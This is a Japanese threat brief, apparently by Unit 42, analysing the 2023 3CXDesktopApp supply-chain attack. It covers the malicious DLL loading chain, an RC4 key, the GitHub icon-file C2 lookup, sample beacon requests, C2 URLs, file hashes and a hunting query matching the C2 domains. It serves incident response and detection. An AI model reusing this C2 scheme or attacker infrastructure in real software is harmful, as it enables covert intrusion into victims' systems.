This post is also available in: English (英語)
概要
2023年3月29日に3CXDesktopAppというソフトウェアベースの電話アプリケーションが関連するサプライチェーン攻撃がありました。3月30日現在、同ソフトウェア開発者のWebサイトにホストされている3CXDesktopAppのインストーラーは、2つの悪意のあるライブラリーを含むアプリケーションをインストールします。これら悪意のあるライブラリーは、最終的にシェルコードを実行してシステムにバックドアをロードし、脅威アクターが被害者のコンピューターに追加のマルウェアをインストールできるようにします。
2023年3月31日更新: 次世代ファイアウォール NGFWでの保護概要を追記しました。
2023年4月3日更新: Cortex XSOARでの保護概要を追記しました。Cortex XDRとCortex XSIAMについて、macOS環境での対応コンテンツ バージョンを記載しました。Cortex XDRをご利用中の皆さまは、とくに更新などの必要なく、過去・現在ともに保護されています。
現時点ではこれらのライブラリーが3CXDesktopAppのインストーラーに含まれるようになった正確な経緯は確認できていません。私たちは脅威アクターらが3CXDesktopAppアプリケーションのビルド過程でこれらのライブラリーを導入した可能性があると推測しています。これらの悪意のあるコンテンツは、3CXDesktopAppユーザーの侵害を目的として正規アプリケーションに追加されていることから、これはサプライチェーン攻撃を意図したものであることが示唆されます。
3CX製品は世界中で広く使われています。弊社のCortex Xpanseは、3CXのアプリケーションを使っている199カ国24万7,277個の一意なIPアドレスのフィンガープリント採取に成功しました。
2023年3月9日〜3月30日の期間、弊社のCortex XDR利用顧客127社において、3CXDesktopAppプロセスがシェルコードを実行しようとしたアクティビティが確認されています。ただし当該アクティビティはXDRエージェントのIn-process Shellcode Protection Module (プロセス内シェルコード保護モジュール)によりブロックされています。シェルコードをブロックしたことから、攻撃で使われたセカンダリー ペイロードは入手できず、そのケイパビリティや脅威アクターによるエクスプロイト後のアクティビティについては特定できていません。
関連するUnit 42のトピック | Threat Brief, Supply Chain |
インシデントの詳細
3CXDesktopAppのサプライチェーン攻撃は、脅威アクターが悪意のあるライブラリーを正規3CXDesktopAppのインストール アプリケーションに導入したことから始まりました。おそらくは、3CXDesktopAppのビルド過程で、これらのライブラリーが導入されたものと考えられます。正規インストーラーに悪意のあるライブラリーが含まれていることから、開発元のWebサイトから3CXDesktopAppのインストーラーをダウンロード・実行することにより被害を受けます。
Unit 42チームは本稿公開時点でWindows・macOS両プラットフォームでの実行を意図した悪意のある3CXDesktopAppのインストーラーを確認しています。Windows用はWindows Installer File (.msi)、macOS用はApple Disk Image file (.dmg)として提供されています。図1は攻撃全体の流れを示した図です。
Windowsシステム上ではMSIインストーラーが複数のファイルを抽出し、3CXDesktopApp.exeを実行し、ffmpeg.dllという名前のついた悪意のあるライブラリー ファイルをロードします。コンパイラーのメタデータによれば、このDLLは2022年11月12日にコンパイルされています。
このffmpeg.dllライブラリーは、2番目に抽出されたd3dcompiler_47.dllというファイル名のライブラリーを読み込み、その一部を3jB(2bsG#@c7という鍵を使ってRC4方式で復号し、復号した内容をシェルコードとして実行します。このシェルコードはある組み込みのDLLをロードし、当該DLLがエクスポートしたDllGetClassObjectという関数を呼び出します。
初回実行時、このマルウェアは1~4週間先の日付をランダムに生成します。このタイムスタンプは侵害されたコンピューターの現在時刻と照合され、マルウェアはタイムスタンプの日時までスリープします。こうすることで実行まで長く時間をかせぎ、被害者がプログラムにバックドアが仕込まれていると疑わないようにしています。
このDLLはコマンド&コントロール(C2)サーバーを得るために次のURLからあるアイコン ファイルをダウンロードします。このアイコン ファイルは、ファイル名に1~15までのランダムな数字が含まれています。
hxxps://raw.githubusercontent[.]com/IconStorages/images/main/icon[1-15].ico
このリクエストは以下のような形式です。
GET /IconStorages/images/main/icon1.ico HTTP/1.1
accept: */*
accept-language: en-US,en;q=0.9
accept-encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 3CXDesktopApp/18.11.1197 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36
Host: raw.githubusercontent.com
Connection: Keep-Alive
Cache-Control: no-cache
上記のGitHubアカウントは既に存在していませんが、このURLでホストされていたアイコン ファイルは入手できました。表1に当該アイコン ファイルのハッシュ値、ファイル名、ファイル内から抽出したC2 URLを記載します。
SHA256 | アイコン ファイル名 | 抽出されたC2のURL |
a541e5fc421c358e0a2b07bf4771e897fb5a617998aa4876e0e1baa5fbb8e25c | icon1.ico | hxxps://msstorageazure[.]com/window |
d459aa0a63140ccc647e9026bfd1fccd4c310c262a88896c57bbe3b6456bd090 | icon10.ico と icon11.ico | hxxps://akamaitechcloudservices[.]com/v2/storage |
d51a790d187439ce030cf763237e992e9196e9aa41797a94956681b6279d1b9a | icon12.ico | hxxps://azureonlinestorage[.]com/azure/storage |
4e08e4ffc699e0a1de4a5225a0b4920933fbb9cf123cde33e1674fde6d61444f | icon13.ico | hxxps://msedgepackageinfo[.]com/microsoft-edge |
8c0b7d90f14c55d4f1d0f17e0242efd78fd4ed0c344ac6469611ec72defa6b2d | icon14.ico | hxxps://glcloudservice[.]com/v1/console |
f47c883f59a4802514c57680de3f41f690871e26f250c6e890651ba71027e4d3 | icon15.ico | hxxps://pbxsources[.]com/exchange |
2c9957ea04d033d68b769f333a48e228c32bcf26bd98e51310efd48e80c1789f | icon2.ico | hxxps://officestoragebox[.]com/api/session |
268d4e399dbbb42ee1cd64d0da72c57214ac987efbb509c46cc57ea6b214beca | icon3.ico | hxxps://visualstudiofactory[.]com/workload |
c62dce8a77d777774e059cf1720d77c47b97d97c3b0cf43ade5d96bf724639bd | icon4.ico | hxxps://azuredeploystore[.]com/cloud/services |
c13d49ed325dec9551906bafb6de9ec947e5ff936e7e40877feb2ba4bb176396 | icon5.ico | hxxps://msstorageboxes[.]com/office |
f1bf4078141d7ccb4f82e3f4f1c3571ee6dd79b5335eb0e0464f877e6e6e3182 | icon6.ico | hxxps://officeaddons[.]com/technologies |
2487b4e3c950d56fb15316245b3c51fbd70717838f6f82f32db2efcc4d9da6de | icon7.ico | hxxps://sourceslabs[.]com/downloads |
e059c8c8b01d6f3af32257fc2b6fe188d5f4359c308b3684b1e0db2071c3425c | icon8.ico | hxxps://zacharryblogs[.]com/feed |
d0f1984b4fe896d0024533510ce22d71e05b20bad74d53fae158dc752a65782e | icon9.ico | hxxps://pbxcloudeservices[.]com/phonesystem |
表1 ペイロードがC2のURL特定に使ったGitHubアカウントにホストされていたアイコン ファイル
なお、この.icoファイルが、2022年12月7日にこのGitHubリポジトリに最初に登場していたことは注目に値するでしょう(図2のgitログ参照)。ここからは、同攻撃の発生時期について、時系列上の知見が得られます。
.icoファイルをダウンロードし、パースし、復号し、次のステージのURLを抽出した後、マルウェアはそのURLに対してHTTPSリクエストを発行します。このリクエストは以下のような形式です。
GET /api/session HTTP/1.1
accept: */*
accept-language: en-US,en;q=0.9
accept-encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 3CXDesktopApp/18.11.1197 Chrome/102.0.5005.167 Electron/19.1.9 Safari/537.36
Host: officestoragebox.com
Connection: Keep-Alive
Cache-Control: no-cache
このリモートC2サーバーはすでに利用できなくなっていますが、マルウェア自体のコントロール フローから、このマルウェアが何を求めていのたのかがわかります。このC2サーバーには、以下の鍵を含むJSON Blobによる応答が求められていました。
{
"url" : [data],
"meta" : [data],
"description" : [data]
}
この"meta"フィールドをパースしてフィールド内のデータを以前に使ったのと同じルーチンで復号します。最後に、復号データが被害者のコンピューター上で直接実行されます。
既知のmacOS用亜種はいずれも、悪意のあるFFmpegライブラリーを含むdmgインストーラーを使っています。実際のライブラリーは以下のパスに存在しています。
3CX Desktop App.app/Contents/Frameworks/Electron Framework.framework/Versions/A/Libraries/libffmpeg.dylib
macOS用亜種の悪意のあるライブラリーは、Windows用亜種のそれと機能的には似ているものの、より単純です。libffmpeg.dylibライブラリーは、GitHubアカウントにホストされたアイコン ファイルからURLを抽出してC2のURLを取得しようとはしません。macOS用亜種の場合、ハードコードされたURLが16個、通信先C2サーバーとして含まれています(以下の表参照)。
- msstorageazure[.]com/analysis
- officestoragebox[.]com/api/biosync
- visualstudiofactory[.]com/groupcore
- azuredeploystore[.]com/cloud/images
- msstorageboxes[.]com/xbox
- officeaddons[.]com/quality
- sourceslabs[.]com/status
- zacharryblogs[.]com/xmlquery
- pbxcloudeservices[.]com/network
- pbxphonenetwork[.]com/phone
- akamaitechcloudservices[.]com/v2/fileapi
- azureonlinestorage[.]com/google/storage
- msedgepackageinfo[.]com/ms-webview
- glcloudservice[.]com/v1/status
- pbxsources[.]com/queue
- www.3cx[.]com/blog/event-trainings/
なお、上記のwww.3cx[.]comというURLは3CXのベンダーが所有する正規のWebサイトで、本稿執筆時点ではC2通信には使われていないと考えられます。
macOS用亜種で見つかったURLは、pbxphonenetwork[.]comというドメインを除き、Windows用亜種と同じドメインを使っています。しかし同じドメインと通信する場合のmacOSとWindowsの亜種のURLパスは異なります。
CrowdStrikeはこのアクティビティを同社がLabyrinth Chollimaの名前でトラッキングしている脅威アクターによるものであると公式にアトリビュート(帰属)しています。私たちはこのアトリビューションにいたるIoCの重複を確認できていないのですが、この攻撃で使われた3jB(2bsG#@c7というRC4鍵は、Labyrinth Chollimaが関与した以前のアクティビティで確認されたものであると考えられます。Huntress Labsは、以前DPRK(北朝鮮)の脅威アクターがこの鍵を使っていたことがあり、これがLabyrinth Chollimaとの関連性を示唆しうるものと述べています。現時点で私たちはこのIoC重複について判断できかねるため、引き続きアトリビュートに利用できる証拠を探しています。
現在の攻撃スコープ
3CXの発表によると、当該サプライチェーン攻撃の影響を受けたバージョンは、Update 7でリリースされた3CX Electron Windows App (バージョン18.12.407、18.12.416)と、Electron Mac App (バージョン18.11.1213、18.12.402、18.12.407、18.12.416)です。
XDRとXSIAMのテレメトリーによると、弊社顧客127社のシステムで、3CXDesktopAppプロセスによるシェルコード実行試行のアクティビティが確認されています。ただし当該アクティビティはXDRエージェントのIn-process Shellcode Protection Module (プロセス内シェルコード保護モジュール)によりブロックされています。2023年3月9日〜30日の期間、1,832台の一意なシステム上で、同アクティビティに関連する5,796個のイベントが観測されました。注: Cortex XDRをご利用中の皆さまはとくに更新などの必要なくゼロデイの時点から保護されています。
シェルコード実行をブロックしたことから、攻撃で使われたセカンダリー ペイロードは入手できていません。このセカンダリー ペイロードには、脅威アクターがアクティビティの実行を続ける上で必要とする機能が含まれていたはずです。
3CX製品の普及状況を把握するため、一般公開されている同アプリケーションのフィンガープリントを作成し、弊社Cortex Xpanseでインターネットをスキャンしました。このスキャンの結果、このフィンガープリントに一致するIPアドレスは世界199カ国で24万7,277個見つかりました。3CXの製品は世界中の組織で広く使われていることがわかります。
図3は、3CXの製品フィンガープリントと一致するIPアドレスとTCPポートの組み合わせを持つ国のヒートマップを示したものです。
中間ガイダンス
3CXは発表のなかで、アプリケーションをアップデートするさい、デスクトップ アプリケーションではなくPWA 製品を利用するよう同社顧客に提案しています。3月30日現在、C2ドメイン名とアイコン ファイルをホストするGitHubリポジトリはすべて削除されています。ただし、悪意のある既知のバージョンの3CXDesktopAppを実行しているシステムがある場合は、IoC(侵害の痕跡)を調査したほうがよいでしょう。
Unit 42 マネージド スレット ハンティング チームによるクエリ
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
// Description: Detect execution of 3cx application "3CXDesktopApp.exe" config case_sensitive = false | dataset = xdr_data | filter event_type = PROCESS and action_process_signature_vendor contains "3cx" and action_process_image_name = "3CXDesktopApp.exe" | fields agent_hostname, action_process_image_name, action_process_signature_vendor | dedup agent_hostname, action_process_image_name, action_process_signature_vendor // Description: Detect network connections to known c2 domains: dataset = xdr_data | filter dst_action_external_hostname ~=".*akamaicontainer.com|.*akamaitechcloudservices.com|.*azuredeploystore.com|.*azureonlinecloud.com|.*azureonlinestorage.com|.*dunamistrd.com|.*glcloudservice.com|.*journalide.org|.*msedgepackageinfo.com|.*msstorageazure.com|.*msstorageboxes.com|.*officeaddons.com|.*officestoragebox.com|.*pbxcloudeservices.com|.*pbxphonenetwork.com|.*pbxsources.com|.*qwepoi123098.com|.*sbmsa.wiki|.*sourceslabs.com|.*visualstudiofactory.com|.*zacharryblogs.com" OR dns_query_name ~=".*akamaicontainer.com|.*akamaitechcloudservices.com|.*azuredeploystore.com|.*azureonlinecloud.com|.*azureonlinestorage.com|.*dunamistrd.com|.*glcloudservice.com|.*journalide.org|.*msedgepackageinfo.com|.*msstorageazure.com|.*msstorageboxes.com|.*officeaddons.com|.*officestoragebox.com|.*pbxcloudeservices.com|.*pbxphonenetwork.com|.*pbxsources.com|.*qwepoi123098.com|.*sbmsa.wiki|.*sourceslabs.com|.*visualstudiofactory.com|.*zacharryblogs.com" OR action_external_hostname ~=".*akamaicontainer.com|.*akamaitechcloudservices.com|.*azuredeploystore.com|.*azureonlinecloud.com|.*azureonlinestorage.com|.*dunamistrd.com|.*glcloudservice.com|.*journalide.org|.*msedgepackageinfo.com|.*msstorageazure.com|.*msstorageboxes.com|.*officeaddons.com|.*officestoragebox.com|.*pbxcloudeservices.com|.*pbxphonenetwork.com|.*pbxsources.com|.*qwepoi123098.com|.*sbmsa.wiki|.*sourceslabs.com|.*visualstudiofactory.com|.*zacharryblogs.com" | fields agent_hostname, agent_version,causality_actor_process_image_path, actor_process_image_path, action_file_path, action_file_sha256, action_module_path,action_module_sha256,dst_action_external_hostname, dns_query_name,action_external_hostname, action_remote_ip, event_id |
結論
3CXDesktopAppのサプライチェーン攻撃は大きな注目を集めました。これらの製品は広く使用されていますし、弊社Cortex Xpanseによれば世界中で少なくとも24万7,000台のシステムで使用されているからです。弊社の顧客127社の環境で、侵害された3CXDesktopAppアプリケーションが確認されましたが、XDRエージェントのIn-process Shellcode Protection Module (プロセス内シェルコード保護モジュール)により、悪意のあるシェルコードの実行はブロックされました。
現時点では、悪意のある3CXDesktopAppインストーラーは、アクティブな通信対象のC2ドメインを持っていません。しかしながら、既知の侵害されたバージョンの3CXDesktopAppを実行していたシステムや、いずれかのC2用URLと通信していたシステムは、侵害を受けた可能性があり、調査が必要です。
パロアルトネットワークス製品による3CXDesktopAppのサプライチェーン攻撃からの保護
パロアルトネットワークスのお客様には、弊社製品/サービスの保護・更新を通じ、同脅威の特定と防御が提供されています。
次世代ファイアウォール(NGFW)で脅威防御のセキュリティ サブスクリプションを有効にしている場合、脅威防御シグネチャ86729を介したベストプラクティスがC2トラフィック防止に役立ちます。
侵害の懸念があり弊社にインシデントレスポンスに関するご相談をなさりたい場合は、infojapan@paloaltonetworks.com まで電子メールにてご連絡いただくか、下記の電話番号までお問い合わせください(ご相談は弊社製品のお客様には限定されません)。
- 北米フリーダイヤル: 866.486.4842 (866.4.UNIT42)
- 欧州: +31.20.299.3130
- アジア太平洋: +65.6983.8730
- 日本: +81.50.1790.0200
Cortex XSOAR
『3CXDesktopApp Supply Chain Attack』パックには、サードパーティ インテグレーションでのデプロイ用追加シグネチャと自動化されたプレイブックが含まれています。このプレイブックでIoCの収集や組織のSIEMとXDRにおける高度なクエリ実行を支援します。同プレイブックは、侵害されたおそれのあるエンドポイントの復旧も提供します。
Cortex XDRとCortex XSIAM
In-process Shellcode Protection Module (プロセス内シェルコード保護モジュール)とBTP(Behavioral Threat Protection: 振る舞い防御)は、これらの攻撃に対する保護を提供します。これらのモジュールは、複数の野生(in the wild)の攻撃を、悪質なコードの実行前にブロックしていました。macOSでの対応には実行中のコンテンツ バージョンが910-49625またはそれ以降であることを確認してください。すべてのお客様は保護された状態を保っています。
IoC
SHA256 | 説明 |
59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 | 3CXDesktopApp-18.12.416.msi インストーラー |
aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 | 3CXDesktopApp-18.12.407.msi インストーラー |
5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 | 3CXDesktopApp-18.11.1213.dmg インストーラー |
e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec | 3CXDesktopApp-18.12.416.dmg インストーラー |
7c55c3dfa373b6b342390938029cb76ef31f609d9a07780772c6010a4297e321 | 3CXDesktopApp-18.12.416-full.nupkg インストーラー |
7986bbaee8940da11ce089383521ab420c443ab7b15ed42aed91fd31ce833896 | 悪意のある ffmpeg.dll |
11be1803e2e307b647a8a7e02d128335c448ff741bf06bf52b332e0bbf423b03 | 悪意のある d3dcompiler_47.dll |
c485674ee63ec8d4e8fde9800788175a8b02d3f9416d0e763360fff7f8eb4e02 | 悪意のある ffmpeg.dll |
aa4e398b3bd8645016d8090ffc77d15f926a8e69258642191deb4e68688ff973 | d3dcompiler_47.dll内の悪意のある DLL |
fee4f9dabc094df24d83ec1a8c4e4ff573e5d9973caa676f58086c99561382d7 | 悪意のある libffmpeg.dylib |
a64fa9f1c76457ecc58402142a8728ce34ccba378c17318b3340083eeb7acc67 | 悪意のある libffmpeg.dylib |
URL | 説明 |
msstorageazure[.]com/analysis | macOS用亜種のC2 |
officestoragebox[.]com/api/biosync | macOS用亜種のC2 |
visualstudiofactory[.]com/groupcore | macOS用亜種のC2 |
azuredeploystore[.]com/cloud/images | macOS用亜種のC2 |
msstorageboxes[.]com/xbox | macOS用亜種のC2 |
officeaddons[.]com/quality | macOS用亜種のC2 |
sourceslabs[.]com/status | macOS用亜種のC2 |
zacharryblogs[.]com/xmlquery | macOS用亜種のC2 |
pbxcloudeservices[.]com/network | macOS用亜種のC2 |
pbxphonenetwork[.]com/phone | macOS用亜種のC2 |
akamaitechcloudservices[.]com/v2/fileapi | macOS用亜種のC2 |
azureonlinestorage[.]com/google/storage | macOS用亜種のC2 |
msedgepackageinfo[.]com/ms-webview | macOS用亜種のC2 |
glcloudservice[.]com/v1/status | macOS用亜種のC2 |
pbxsources[.]com/queue | macOS用亜種のC2 |
msstorageazure[.]com/window | Windows用亜種のC2 |
akamaitechcloudservices[.]com/v2/storage | Windows用亜種のC2 |
azureonlinestorage[.]com/azure/storage | Windows用亜種のC2 |
msedgepackageinfo[.]com/microsoft-edge | Windows用亜種のC2 |
glcloudservice[.]com/v1/console | Windows用亜種のC2 |
pbxsources[.]com/exchange | Windows用亜種のC2 |
officestoragebox[.]com/api/session | Windows用亜種のC2 |
visualstudiofactory[.]com/workload | Windows用亜種のC2 |
azuredeploystore[.]com/cloud/services | Windows用亜種のC2 |
msstorageboxes[.]com/office | Windows用亜種のC2 |
officeaddons[.]com/technologies | Windows用亜種のC2 |
sourceslabs[.]com/downloads | Windows用亜種のC2 |
zacharryblogs[.]com/feed | Windows用亜種のC2 |
pbxcloudeservices[.]com/phonesystem | Windows用亜種のC2 |
ドメイン
- msstorageazure[.]com
- officestoragebox[.]com
- visualstudiofactory[.]com
- azuredeploystore[.]com
- msstorageboxes[.]com
- officeaddons[.]com
- sourceslabs[.]com
- zacharryblogs[.]com
- pbxcloudeservices[.]com
- pbxphonenetwork[.]com
- akamaitechcloudservices[.]com
- azureonlinestorage[.]com
- msedgepackageinfo[.]com
- glcloudservice[.]com
- pbxsources[.]com
2023-04-04 10:20 JST 英語版更新日 2023-04-03 16:45 PDT の内容を反映